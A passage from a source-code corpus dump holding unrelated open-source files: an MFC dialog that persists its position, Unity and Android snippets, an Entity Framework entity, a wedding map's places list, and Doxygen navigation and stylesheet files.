$('html,body').animate({ scrollTop: 0 }, 'slow'); | abmindiarepomanager/ABMOpenMainet | Mainet1.1/MainetServiceParent/MainetServiceWeb/src/main/webapp/js/masters/connectionsize/connectionSizeScript.js | JavaScript | gpl-3.0 | 5,451 |
// Copyleft 2005 Chris Korda
// This program is free software; you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by the Free
// Software Foundation; either version 2 of the License, or any later version.
/*
chris korda
revision history:
rev date comments
00 22apr05 initial version
01 07jul05 keep dialog within screen
02 23nov07 support Unicode
03 16dec08 in OnShowWindow, move LoadWnd within bShow block
04 24mar09 add special handling for main accelerators
05 21dec12 in OnShowWindow, don't clamp to work area if maximized
06 24jul15 override DoModal to save and restore focus
07 06jul17 remove update menu method
dialog that saves and restores its position
*/
// PersistDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Resource.h"
#include "PersistDlg.h"
#include "Persist.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CPersistDlg dialog
IMPLEMENT_DYNAMIC(CPersistDlg, CDialog);
CPersistDlg::CPersistDlg(UINT nIDTemplate, UINT nIDAccel, LPCTSTR RegKey, CWnd *pParent)
: CDialog(nIDTemplate, pParent), m_RegKey(RegKey)
{
//{{AFX_DATA_INIT(CPersistDlg)
//}}AFX_DATA_INIT
m_WasShown = FALSE;
m_IDAccel = nIDAccel;
m_Accel = nIDAccel != NULL && nIDAccel != IDR_MAINFRAME ?
LoadAccelerators(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(nIDAccel)) : NULL;
}
void CPersistDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CPersistDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CPersistDlg, CDialog)
//{{AFX_MSG_MAP(CPersistDlg)
ON_WM_DESTROY()
ON_WM_SHOWWINDOW()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CPersistDlg message handlers
void CPersistDlg::OnDestroy()
{
CDialog::OnDestroy();
if (m_WasShown)
CPersist::SaveWnd(REG_SETTINGS, this, m_RegKey);
}
void CPersistDlg::OnShowWindow(BOOL bShow, UINT nStatus)
{
CDialog::OnShowWindow(bShow, nStatus);
if (bShow) {
if (!m_WasShown && !IsWindowVisible()) {
m_WasShown = TRUE;
int Flags = (GetStyle() & WS_THICKFRAME) ? 0 : CPersist::NO_RESIZE;
CPersist::LoadWnd(REG_SETTINGS, this, m_RegKey, Flags);
}
if (!IsZoomed()) { // unless we're maximized, clamp to work area
// in case LoadWnd's SetWindowPlacement places us off-screen
CRect r, wr;
GetWindowRect(r);
if (SystemParametersInfo(SPI_GETWORKAREA, 0, wr, 0)) {
CRect br = wr;
br.right -= GetSystemMetrics(SM_CXSMICON);
br.bottom -= GetSystemMetrics(SM_CYCAPTION);
CPoint pt = r.TopLeft();
if (!br.PtInRect(pt)) { // if dialog is off-screen
pt.x = CLAMP(pt.x, wr.left, wr.right - r.Width());
pt.y = CLAMP(pt.y, wr.top, wr.bottom - r.Height());
r = CRect(pt, CSize(r.Width(), r.Height()));
MoveWindow(r);
}
}
}
}
}
BOOL CPersistDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message >= WM_KEYFIRST && pMsg->message <= WM_KEYLAST) {
if (m_Accel != NULL) {
if (TranslateAccelerator(m_hWnd, m_Accel, pMsg))
return(TRUE);
} else { // no local accelerator table
// if non-system key down and main accelerators, give main a try
if (pMsg->message == WM_KEYDOWN && m_IDAccel == IDR_MAINFRAME
&& AfxGetMainWnd()->SendMessage(UWM_HANDLEDLGKEY, (WPARAM)pMsg))
return(TRUE);
}
}
return CDialog::PreTranslateMessage(pMsg);
}
W64INT CPersistDlg::DoModal()
{
HWND hWndFocus = ::GetFocus();
W64INT retc = CDialog::DoModal();
if (IsWindow(hWndFocus) && ::IsWindowVisible(hWndFocus)) // extra cautious
::SetFocus(hWndFocus);
return retc;
}
| victimofleisure/PotterDraw | trunk/PotterDraw/PersistDlg.cpp | C++ | gpl-3.0 | 3,742 |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class WaterItem : BaseItem {
// Use this for initialization
public override void Start()
{
base.Start();
BulletSpeed = .1f;
ItemSprite = gameObject.GetComponent<SpriteRenderer>().sprite;
NameText = "Water";
PickupText = "Shot Speed up";
}
// Update is called once per frame
void Update () {
}
}
| Shafournee/Shafman-repo | Assets/Scripts/Item Scipts/ShotSpeedItems/WaterItem.cs | C# | gpl-3.0 | 455 |
package net.ballmerlabs.scatterbrain.network.wifidirect;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import net.ballmerlabs.scatterbrain.network.GlobalNet;
/**
* Created by user on 5/29/16.
*/
@SuppressWarnings({"FieldCanBeLocal", "DefaultFileTemplate"})
class WifiDirectLooper extends Thread {
private Handler handler;
@SuppressWarnings("unused")
private final GlobalNet globnet;
public WifiDirectLooper(GlobalNet globnet) {
super();
this.globnet = globnet;
handler = new Handler();
}
public Handler getHandler() {
return this.handler;
}
@Override
public void run() {
Looper.prepare();
handler = new Handler(new Handler.Callback() {
@Override
public boolean handleMessage(Message msg) {
return true;
}
});
Looper.loop();
}
}
| gnu3ra/Scatterbrain | app/src/main/java/net/ballmerlabs/scatterbrain/network/wifidirect/WifiDirectLooper.java | Java | gpl-3.0 | 938 |
// <auto-generated>
// ReSharper disable ConvertPropertyToExpressionBody
// ReSharper disable DoNotCallOverridableMethodsInConstructor
// ReSharper disable InconsistentNaming
// ReSharper disable PartialMethodWithSinglePart
// ReSharper disable PartialTypeWithSinglePart
// ReSharper disable RedundantNameQualifier
// ReSharper disable RedundantOverridenMember
// ReSharper disable UseNameofExpression
// TargetFrameworkVersion = 4.6
#pragma warning disable 1591 // Ignore "Missing XML Comment" warning
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using Newtonsoft.Json;
using Pikad.Framework.Repository;
namespace IranMarketer.Domain.Entity
{
// AcademicFields
[Table("AcademicFields", Schema = "dbo")]
public class AcademicField : Entity<int>
{
[Column(@"TitleEn", Order = 2, TypeName = "nvarchar")]
[MaxLength(1000)]
[StringLength(1000)]
[Display(Name = "Title en")]
public string TitleEn { get; set; }
[Column(@"TitleFa", Order = 3, TypeName = "nvarchar")]
[MaxLength(1000)]
[StringLength(1000)]
[Display(Name = "Title fa")]
public string TitleFa { get; set; }
[JsonIgnore]
public virtual System.Collections.Generic.ICollection<PartyUniversity> PartyUniversities { get; set; }
public AcademicField()
{
PartyUniversities = new System.Collections.Generic.List<PartyUniversity>();
}
}
}
// </auto-generated>
| MostafaEsmaeili/Iran-Marketer | Core/Domain/Src/Entity/AcademicField.cs | C# | gpl-3.0 | 1,527 |
/**
* @file Map places of interest
* @author Tom Jenkins [email protected]
*/
module.exports = {
castle: {
title: 'Rowton Castle',
lat: 52.708739,
lng: -2.9228567,
icon: 'pin_castle.png',
main: true,
description: 'Where it all happens! Rowton Castle is a small castle manor house roughly halfway between Shrewsbury and Welshpool.',
link: 'https://rowtoncastle.com'
},
barns: {
title: 'Rowton Barns',
lat: 52.709265,
lng: -2.9255,
icon: 'pin_hotel.png',
description: 'Just a <del>drunken stumble</del> <ins>short stroll</ins> from the castle, Rowton Barns offers rooms in their beautifully converted farm buildings.',
link: 'http://www.rowtonbarns.co.uk/'
},
wollaston: {
title: 'Wollaston Lodge',
lat: 52.7036,
lng: -2.9943,
icon: 'pin_hotel.png',
description: 'A boutique bed and breakfast with individually themed rooms.',
link: 'http://www.wollastonlodge.co.uk/'
},
travelodge: {
title: 'Shrewsbury Travelodge',
lat: 52.6817939,
lng: -2.7645268,
icon: 'pin_hotel.png',
description: 'On Bayston Hill services, with free parking.',
link: 'https://www.travelodge.co.uk/hotels/175/Shrewsbury-Bayston-Hill-hotel'
}
}; | itsravenous/lizandtomgetmarried | src/components/map/places.js | JavaScript | gpl-3.0 | 1,179 |
var struct_create_packets_1_1__2 =
[
[ "angle", "struct_create_packets_1_1__2.html#a425d33bd27790066ff7edb4a608a8149", null ],
[ "buttons", "struct_create_packets_1_1__2.html#a6b7d2d6c0a3a063f873420c010063b33", null ],
[ "distance", "struct_create_packets_1_1__2.html#afb30de28ec41190d0cb278640d4782ab", null ],
[ "ir", "struct_create_packets_1_1__2.html#ac834057741105e898b3d4613b96c6eb1", null ]
]; | kipr/harrogate | shared/client/doc/struct_create_packets_1_1__2.js | JavaScript | gpl-3.0 | 416 |
/* The standard CSS for doxygen 1.8.11 */
body, table, div, p, dl {
font: 400 14px/22px Roboto,sans-serif;
}
/* @group Heading Levels */
h1.groupheader {
font-size: 150%;
}
.title {
font: 400 14px/28px Roboto,sans-serif;
font-size: 150%;
font-weight: bold;
margin: 10px 2px;
}
h2.groupheader {
border-bottom: 1px solid #EBB4B4;
color: #D35858;
font-size: 150%;
font-weight: normal;
margin-top: 1.75em;
padding-top: 8px;
padding-bottom: 4px;
width: 100%;
}
h3.groupheader {
font-size: 100%;
}
h1, h2, h3, h4, h5, h6 {
-webkit-transition: text-shadow 0.5s linear;
-moz-transition: text-shadow 0.5s linear;
-ms-transition: text-shadow 0.5s linear;
-o-transition: text-shadow 0.5s linear;
transition: text-shadow 0.5s linear;
margin-right: 15px;
}
h1.glow, h2.glow, h3.glow, h4.glow, h5.glow, h6.glow {
text-shadow: 0 0 15px cyan;
}
dt {
font-weight: bold;
}
div.multicol {
-moz-column-gap: 1em;
-webkit-column-gap: 1em;
-moz-column-count: 3;
-webkit-column-count: 3;
}
p.startli, p.startdd {
margin-top: 2px;
}
p.starttd {
margin-top: 0px;
}
p.endli {
margin-bottom: 0px;
}
p.enddd {
margin-bottom: 4px;
}
p.endtd {
margin-bottom: 2px;
}
/* @end */
caption {
font-weight: bold;
}
span.legend {
font-size: 70%;
text-align: center;
}
h3.version {
font-size: 90%;
text-align: center;
}
div.qindex, div.navtab{
background-color: #FCF3F3;
border: 1px solid #F0C7C7;
text-align: center;
}
div.qindex, div.navpath {
width: 100%;
line-height: 140%;
}
div.navtab {
margin-right: 15px;
}
/* @group Link Styling */
a {
color: #D86868;
font-weight: normal;
text-decoration: none;
}
.contents a:visited {
color: #DD7B7B;
}
a:hover {
text-decoration: underline;
}
a.qindex {
font-weight: bold;
}
a.qindexHL {
font-weight: bold;
background-color: #EFC2C2;
color: #ffffff;
border: 1px double #EBB3B3;
}
.contents a.qindexHL:visited {
color: #ffffff;
}
a.el {
font-weight: bold;
}
a.elRef {
}
a.code, a.code:visited, a.line, a.line:visited {
color: #4665A2;
}
a.codeRef, a.codeRef:visited, a.lineRef, a.lineRef:visited {
color: #4665A2;
}
/* @end */
dl.el {
margin-left: -1cm;
}
pre.fragment {
border: 1px solid #C4CFE5;
background-color: #FBFCFD;
padding: 4px 6px;
margin: 4px 8px 4px 2px;
overflow: auto;
word-wrap: break-word;
font-size: 9pt;
line-height: 125%;
font-family: monospace, fixed;
font-size: 105%;
}
div.fragment {
padding: 4px 6px;
margin: 4px 8px 4px 2px;
background-color: #FEFDFD;
border: 1px solid #F6DCDC;
}
div.line {
font-family: monospace, fixed;
font-size: 13px;
min-height: 13px;
line-height: 1.0;
text-wrap: unrestricted;
white-space: -moz-pre-wrap; /* Moz */
white-space: -pre-wrap; /* Opera 4-6 */
white-space: -o-pre-wrap; /* Opera 7 */
white-space: pre-wrap; /* CSS3 */
word-wrap: break-word; /* IE 5.5+ */
text-indent: -53px;
padding-left: 53px;
padding-bottom: 0px;
margin: 0px;
-webkit-transition-property: background-color, box-shadow;
-webkit-transition-duration: 0.5s;
-moz-transition-property: background-color, box-shadow;
-moz-transition-duration: 0.5s;
-ms-transition-property: background-color, box-shadow;
-ms-transition-duration: 0.5s;
-o-transition-property: background-color, box-shadow;
-o-transition-duration: 0.5s;
transition-property: background-color, box-shadow;
transition-duration: 0.5s;
}
div.line:after {
content:"\000A";
white-space: pre;
}
div.line.glow {
background-color: cyan;
box-shadow: 0 0 10px cyan;
}
span.lineno {
padding-right: 4px;
text-align: right;
border-right: 2px solid #0F0;
background-color: #E8E8E8;
white-space: pre;
}
span.lineno a {
background-color: #D8D8D8;
}
span.lineno a:hover {
background-color: #C8C8C8;
}
div.ah, span.ah {
background-color: black;
font-weight: bold;
color: #ffffff;
margin-bottom: 3px;
margin-top: 3px;
padding: 0.2em;
border: solid thin #333;
border-radius: 0.5em;
-webkit-border-radius: .5em;
-moz-border-radius: .5em;
box-shadow: 2px 2px 3px #999;
-webkit-box-shadow: 2px 2px 3px #999;
-moz-box-shadow: rgba(0, 0, 0, 0.15) 2px 2px 2px;
background-image: -webkit-gradient(linear, left top, left bottom, from(#eee), to(#000),color-stop(0.3, #444));
background-image: -moz-linear-gradient(center top, #eee 0%, #444 40%, #000 110%);
}
div.classindex ul {
list-style: none;
padding-left: 0;
}
div.classindex span.ai {
display: inline-block;
}
div.groupHeader {
margin-left: 16px;
margin-top: 12px;
font-weight: bold;
}
div.groupText {
margin-left: 16px;
font-style: italic;
}
body {
background-color: white;
color: black;
margin: 0;
}
div.contents {
margin-top: 10px;
margin-left: 12px;
margin-right: 8px;
}
td.indexkey {
background-color: #FCF3F3;
font-weight: bold;
border: 1px solid #F6DCDC;
margin: 2px 0px 2px 0;
padding: 2px 10px;
white-space: nowrap;
vertical-align: top;
}
td.indexvalue {
background-color: #FCF3F3;
border: 1px solid #F6DCDC;
padding: 2px 10px;
margin: 2px 0px;
}
tr.memlist {
background-color: #FCF5F5;
}
p.formulaDsp {
text-align: center;
}
img.formulaDsp {
}
img.formulaInl {
vertical-align: middle;
}
div.center {
text-align: center;
margin-top: 0px;
margin-bottom: 0px;
padding: 0px;
}
div.center img {
border: 0px;
}
address.footer {
text-align: right;
padding-right: 12px;
}
img.footer {
border: 0px;
vertical-align: middle;
}
/* @group Code Colorization */
span.keyword {
color: #008000
}
span.keywordtype {
color: #604020
}
span.keywordflow {
color: #e08000
}
span.comment {
color: #800000
}
span.preprocessor {
color: #806020
}
span.stringliteral {
color: #002080
}
span.charliteral {
color: #008080
}
span.vhdldigit {
color: #ff00ff
}
span.vhdlchar {
color: #000000
}
span.vhdlkeyword {
color: #700070
}
span.vhdllogic {
color: #ff0000
}
blockquote {
background-color: #FDFAFA;
border-left: 2px solid #EFC2C2;
margin: 0 24px 0 4px;
padding: 0 12px 0 16px;
}
/* @end */
/*
.search {
color: #003399;
font-weight: bold;
}
form.search {
margin-bottom: 0px;
margin-top: 0px;
}
input.search {
font-size: 75%;
color: #000080;
font-weight: normal;
background-color: #e8eef2;
}
*/
td.tiny {
font-size: 75%;
}
.dirtab {
padding: 4px;
border-collapse: collapse;
border: 1px solid #F0C7C7;
}
th.dirtab {
background: #FCF3F3;
font-weight: bold;
}
hr {
height: 0px;
border: none;
border-top: 1px solid #DE8282;
}
hr.footer {
height: 1px;
}
/* @group Member Descriptions */
table.memberdecls {
border-spacing: 0px;
padding: 0px;
}
.memberdecls td, .fieldtable tr {
-webkit-transition-property: background-color, box-shadow;
-webkit-transition-duration: 0.5s;
-moz-transition-property: background-color, box-shadow;
-moz-transition-duration: 0.5s;
-ms-transition-property: background-color, box-shadow;
-ms-transition-duration: 0.5s;
-o-transition-property: background-color, box-shadow;
-o-transition-duration: 0.5s;
transition-property: background-color, box-shadow;
transition-duration: 0.5s;
}
.memberdecls td.glow, .fieldtable tr.glow {
background-color: cyan;
box-shadow: 0 0 15px cyan;
}
.mdescLeft, .mdescRight,
.memItemLeft, .memItemRight,
.memTemplItemLeft, .memTemplItemRight, .memTemplParams {
background-color: #FEFBFB;
border: none;
margin: 4px;
padding: 1px 0 0 8px;
}
.mdescLeft, .mdescRight {
padding: 0px 8px 4px 8px;
color: #555;
}
.memSeparator {
border-bottom: 1px solid #DEE4F0;
line-height: 1px;
margin: 0px;
padding: 0px;
}
.memItemLeft, .memTemplItemLeft {
white-space: nowrap;
}
.memItemRight {
width: 100%;
}
.memTemplParams {
color: #DD7B7B;
white-space: nowrap;
font-size: 80%;
}
/* @end */
/* @group Member Details */
/* Styles for detailed member documentation */
.memtemplate {
font-size: 80%;
color: #DD7B7B;
font-weight: normal;
margin-left: 9px;
}
.memnav {
background-color: #FCF3F3;
border: 1px solid #F0C7C7;
text-align: center;
margin: 2px;
margin-right: 15px;
padding: 2px;
}
.mempage {
width: 100%;
}
.memitem {
padding: 0;
margin-bottom: 10px;
margin-right: 5px;
-webkit-transition: box-shadow 0.5s linear;
-moz-transition: box-shadow 0.5s linear;
-ms-transition: box-shadow 0.5s linear;
-o-transition: box-shadow 0.5s linear;
transition: box-shadow 0.5s linear;
display: table !important;
width: 100%;
}
.memitem.glow {
box-shadow: 0 0 15px cyan;
}
.memname {
font-weight: bold;
margin-left: 6px;
}
.memname td {
vertical-align: bottom;
}
.memproto, dl.reflist dt {
border-top: 1px solid #F1CACA;
border-left: 1px solid #F1CACA;
border-right: 1px solid #F1CACA;
padding: 6px 0px 6px 0px;
color: #C63333;
font-weight: bold;
text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9);
background-image:url('nav_f.png');
background-repeat:repeat-x;
background-color: #FAEEEE;
/* opera specific markup */
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15);
border-top-right-radius: 4px;
border-top-left-radius: 4px;
/* firefox specific markup */
-moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px;
-moz-border-radius-topright: 4px;
-moz-border-radius-topleft: 4px;
/* webkit specific markup */
-webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15);
-webkit-border-top-right-radius: 4px;
-webkit-border-top-left-radius: 4px;
}
.memdoc, dl.reflist dd {
border-bottom: 1px solid #F1CACA;
border-left: 1px solid #F1CACA;
border-right: 1px solid #F1CACA;
padding: 6px 10px 2px 10px;
background-color: #FEFDFD;
border-top-width: 0;
background-image:url('nav_g.png');
background-repeat:repeat-x;
background-color: #FFFFFF;
/* opera specific markup */
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15);
/* firefox specific markup */
-moz-border-radius-bottomleft: 4px;
-moz-border-radius-bottomright: 4px;
-moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px;
/* webkit specific markup */
-webkit-border-bottom-left-radius: 4px;
-webkit-border-bottom-right-radius: 4px;
-webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15);
}
dl.reflist dt {
padding: 5px;
}
dl.reflist dd {
margin: 0px 0px 10px 0px;
padding: 5px;
}
.paramkey {
text-align: right;
}
.paramtype {
white-space: nowrap;
}
.paramname {
color: #602020;
white-space: nowrap;
}
.paramname em {
font-style: normal;
}
.paramname code {
line-height: 14px;
}
.params, .retval, .exception, .tparams {
margin-left: 0px;
padding-left: 0px;
}
.params .paramname, .retval .paramname {
font-weight: bold;
vertical-align: top;
}
.params .paramtype {
font-style: italic;
vertical-align: top;
}
.params .paramdir {
font-family: "courier new",courier,monospace;
vertical-align: top;
}
table.mlabels {
border-spacing: 0px;
}
td.mlabels-left {
width: 100%;
padding: 0px;
}
td.mlabels-right {
vertical-align: bottom;
padding: 0px;
white-space: nowrap;
}
span.mlabels {
margin-left: 8px;
}
span.mlabel {
background-color: #E7A4A4;
border-top:1px solid #E18D8D;
border-left:1px solid #E18D8D;
border-right:1px solid #F6DCDC;
border-bottom:1px solid #F6DCDC;
text-shadow: none;
color: white;
margin-right: 4px;
padding: 2px 3px;
border-radius: 3px;
font-size: 7pt;
white-space: nowrap;
vertical-align: middle;
}
/* @end */
/* these are for tree view inside a (index) page */
div.directory {
margin: 10px 0px;
border-top: 1px solid #EFC2C2;
border-bottom: 1px solid #EFC2C2;
width: 100%;
}
.directory table {
border-collapse:collapse;
}
.directory td {
margin: 0px;
padding: 0px;
vertical-align: top;
}
.directory td.entry {
white-space: nowrap;
padding-right: 6px;
padding-top: 3px;
}
.directory td.entry a {
outline:none;
}
.directory td.entry a img {
border: none;
}
.directory td.desc {
width: 100%;
padding-left: 6px;
padding-right: 6px;
padding-top: 3px;
border-left: 1px solid rgba(0,0,0,0.05);
}
.directory tr.even {
padding-left: 6px;
background-color: #FDFAFA;
}
.directory img {
vertical-align: -30%;
}
.directory .levels {
white-space: nowrap;
width: 100%;
text-align: right;
font-size: 9pt;
}
.directory .levels span {
cursor: pointer;
padding-left: 2px;
padding-right: 2px;
color: #D86868;
}
.arrow {
color: #EFC2C2;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
cursor: pointer;
font-size: 80%;
display: inline-block;
width: 16px;
height: 22px;
}
.icon {
font-family: Arial, Helvetica;
font-weight: bold;
font-size: 12px;
height: 14px;
width: 16px;
display: inline-block;
background-color: #E7A4A4;
color: white;
text-align: center;
border-radius: 4px;
margin-left: 2px;
margin-right: 2px;
}
.icona {
width: 24px;
height: 22px;
display: inline-block;
}
.iconfopen {
width: 24px;
height: 18px;
margin-bottom: 4px;
background-image:url('folderopen.png');
background-position: 0px -4px;
background-repeat: repeat-y;
vertical-align:top;
display: inline-block;
}
.iconfclosed {
width: 24px;
height: 18px;
margin-bottom: 4px;
background-image:url('folderclosed.png');
background-position: 0px -4px;
background-repeat: repeat-y;
vertical-align:top;
display: inline-block;
}
.icondoc {
width: 24px;
height: 18px;
margin-bottom: 4px;
background-image:url('doc.png');
background-position: 0px -4px;
background-repeat: repeat-y;
vertical-align:top;
display: inline-block;
}
table.directory {
font: 400 14px Roboto,sans-serif;
}
/* @end */
div.dynheader {
margin-top: 8px;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
address {
font-style: normal;
color: #CD3E3E;
}
table.doxtable caption {
caption-side: top;
}
table.doxtable {
border-collapse:collapse;
margin-top: 4px;
margin-bottom: 4px;
}
table.doxtable td, table.doxtable th {
border: 1px solid #CE4545;
padding: 3px 7px 2px;
}
table.doxtable th {
background-color: #D45C5C;
color: #FFFFFF;
font-size: 110%;
padding-bottom: 4px;
padding-top: 5px;
}
table.fieldtable {
/*width: 100%;*/
margin-bottom: 10px;
border: 1px solid #F1CACA;
border-spacing: 0px;
-moz-border-radius: 4px;
-webkit-border-radius: 4px;
border-radius: 4px;
-moz-box-shadow: rgba(0, 0, 0, 0.15) 2px 2px 2px;
-webkit-box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15);
box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15);
}
.fieldtable td, .fieldtable th {
padding: 3px 7px 2px;
}
.fieldtable td.fieldtype, .fieldtable td.fieldname {
white-space: nowrap;
border-right: 1px solid #F1CACA;
border-bottom: 1px solid #F1CACA;
vertical-align: top;
}
.fieldtable td.fieldname {
padding-top: 3px;
}
.fieldtable td.fielddoc {
border-bottom: 1px solid #F1CACA;
/*width: 100%;*/
}
.fieldtable td.fielddoc p:first-child {
margin-top: 0px;
}
.fieldtable td.fielddoc p:last-child {
margin-bottom: 2px;
}
.fieldtable tr:last-child td {
border-bottom: none;
}
.fieldtable th {
background-image:url('nav_f.png');
background-repeat:repeat-x;
background-color: #FAEEEE;
font-size: 90%;
color: #C63333;
padding-bottom: 4px;
padding-top: 5px;
text-align:left;
-moz-border-radius-topleft: 4px;
-moz-border-radius-topright: 4px;
-webkit-border-top-left-radius: 4px;
-webkit-border-top-right-radius: 4px;
border-top-left-radius: 4px;
border-top-right-radius: 4px;
border-bottom: 1px solid #F1CACA;
}
.tabsearch {
top: 0px;
left: 10px;
height: 36px;
background-image: url('tab_b.png');
z-index: 101;
overflow: hidden;
font-size: 13px;
}
.navpath ul
{
font-size: 11px;
background-image:url('tab_b.png');
background-repeat:repeat-x;
background-position: 0 -5px;
height:30px;
line-height:30px;
color:#ECB5B5;
border:solid 1px #F5DADA;
overflow:hidden;
margin:0px;
padding:0px;
}
.navpath li
{
list-style-type:none;
float:left;
padding-left:10px;
padding-right:15px;
background-image:url('bc_s.png');
background-repeat:no-repeat;
background-position:right;
color:#D45A5A;
}
.navpath li.navelem a
{
height:32px;
display:block;
text-decoration: none;
outline: none;
color: #CB3939;
font-family: 'Lucida Grande',Geneva,Helvetica,Arial,sans-serif;
text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9);
text-decoration: none;
}
.navpath li.navelem a:hover
{
color:#E59D9D;
}
.navpath li.footer
{
list-style-type:none;
float:right;
padding-left:10px;
padding-right:15px;
background-image:none;
background-repeat:no-repeat;
background-position:right;
color:#D45A5A;
font-size: 8pt;
}
div.summary
{
float: right;
font-size: 8pt;
padding-right: 5px;
width: 50%;
text-align: right;
}
div.summary a
{
white-space: nowrap;
}
table.classindex
{
margin: 10px;
white-space: nowrap;
margin-left: 3%;
margin-right: 3%;
width: 94%;
border: 0;
border-spacing: 0;
padding: 0;
}
div.ingroups
{
font-size: 8pt;
width: 50%;
text-align: left;
}
div.ingroups a
{
white-space: nowrap;
}
div.header
{
background-image:url('nav_h.png');
background-repeat:repeat-x;
background-color: #FEFBFB;
margin: 0px;
border-bottom: 1px solid #F6DCDC;
}
div.headertitle
{
padding: 5px 5px 5px 10px;
}
dl
{
padding: 0 0 0 10px;
}
/* dl.note, dl.warning, dl.attention, dl.pre, dl.post, dl.invariant, dl.deprecated, dl.todo, dl.test, dl.bug */
dl.section
{
margin-left: 0px;
padding-left: 0px;
}
dl.note
{
margin-left:-7px;
padding-left: 3px;
border-left:4px solid;
border-color: #D0C000;
}
dl.warning, dl.attention
{
margin-left:-7px;
padding-left: 3px;
border-left:4px solid;
border-color: #FF0000;
}
dl.pre, dl.post, dl.invariant
{
margin-left:-7px;
padding-left: 3px;
border-left:4px solid;
border-color: #00D000;
}
dl.deprecated
{
margin-left:-7px;
padding-left: 3px;
border-left:4px solid;
border-color: #505050;
}
dl.todo
{
margin-left:-7px;
padding-left: 3px;
border-left:4px solid;
border-color: #00C0E0;
}
dl.test
{
margin-left:-7px;
padding-left: 3px;
border-left:4px solid;
border-color: #3030E0;
}
dl.bug
{
margin-left:-7px;
padding-left: 3px;
border-left:4px solid;
border-color: #C08050;
}
dl.section dd {
margin-bottom: 6px;
}
#projectlogo
{
text-align: center;
vertical-align: bottom;
border-collapse: separate;
}
#projectlogo img
{
border: 0px none;
}
#projectalign
{
vertical-align: middle;
}
#projectname
{
font: 300% Tahoma, Arial,sans-serif;
margin: 0px;
padding: 2px 0px;
}
#projectbrief
{
font: 120% Tahoma, Arial,sans-serif;
margin: 0px;
padding: 0px;
}
#projectnumber
{
font: 50% Tahoma, Arial,sans-serif;
margin: 0px;
padding: 0px;
}
#titlearea
{
padding: 0px;
margin: 0px;
width: 100%;
border-bottom: 1px solid #E18D8D;
}
.image
{
text-align: center;
}
.dotgraph
{
text-align: center;
}
.mscgraph
{
text-align: center;
}
.diagraph
{
text-align: center;
}
.caption
{
font-weight: bold;
}
div.zoom
{
border: 1px solid #EDBABA;
}
dl.citelist {
margin-bottom:50px;
}
dl.citelist dt {
color:#D25252;
float:left;
font-weight:bold;
margin-right:10px;
padding:5px;
}
dl.citelist dd {
margin:2px 0;
padding:5px 0;
}
div.toc {
padding: 14px 25px;
background-color: #FDF9F9;
border: 1px solid #F9E8E8;
border-radius: 7px 7px 7px 7px;
float: right;
height: auto;
margin: 0 8px 10px 10px;
width: 200px;
}
div.toc li {
background: url("bdwn.png") no-repeat scroll 0 5px transparent;
font: 10px/1.2 Verdana,DejaVu Sans,Geneva,sans-serif;
margin-top: 5px;
padding-left: 10px;
padding-top: 2px;
}
div.toc h3 {
font: bold 12px/1.2 Arial,FreeSans,sans-serif;
color: #DD7B7B;
border-bottom: 0 none;
margin: 0;
}
div.toc ul {
list-style: none outside none;
border: medium none;
padding: 0px;
}
div.toc li.level1 {
margin-left: 0px;
}
div.toc li.level2 {
margin-left: 15px;
}
div.toc li.level3 {
margin-left: 30px;
}
div.toc li.level4 {
margin-left: 45px;
}
.inherit_header {
font-weight: bold;
color: gray;
cursor: pointer;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.inherit_header td {
padding: 6px 0px 2px 5px;
}
.inherit {
display: none;
}
tr.heading h2 {
margin-top: 12px;
margin-bottom: 4px;
}
/* tooltip related style info */
.ttc {
position: absolute;
display: none;
}
#powerTip {
cursor: default;
white-space: nowrap;
background-color: white;
border: 1px solid gray;
border-radius: 4px 4px 4px 4px;
box-shadow: 1px 1px 7px gray;
display: none;
font-size: smaller;
max-width: 80%;
opacity: 0.9;
padding: 1ex 1em 1em;
position: absolute;
z-index: 2147483647;
}
#powerTip div.ttdoc {
color: grey;
font-style: italic;
}
#powerTip div.ttname a {
font-weight: bold;
}
#powerTip div.ttname {
font-weight: bold;
}
#powerTip div.ttdeci {
color: #006318;
}
#powerTip div {
margin: 0px;
padding: 0px;
font: 12px/16px Roboto,sans-serif;
}
#powerTip:before, #powerTip:after {
content: "";
position: absolute;
margin: 0px;
}
#powerTip.n:after, #powerTip.n:before,
#powerTip.s:after, #powerTip.s:before,
#powerTip.w:after, #powerTip.w:before,
#powerTip.e:after, #powerTip.e:before,
#powerTip.ne:after, #powerTip.ne:before,
#powerTip.se:after, #powerTip.se:before,
#powerTip.nw:after, #powerTip.nw:before,
#powerTip.sw:after, #powerTip.sw:before {
border: solid transparent;
content: " ";
height: 0;
width: 0;
position: absolute;
}
#powerTip.n:after, #powerTip.s:after,
#powerTip.w:after, #powerTip.e:after,
#powerTip.nw:after, #powerTip.ne:after,
#powerTip.sw:after, #powerTip.se:after {
border-color: rgba(255, 255, 255, 0);
}
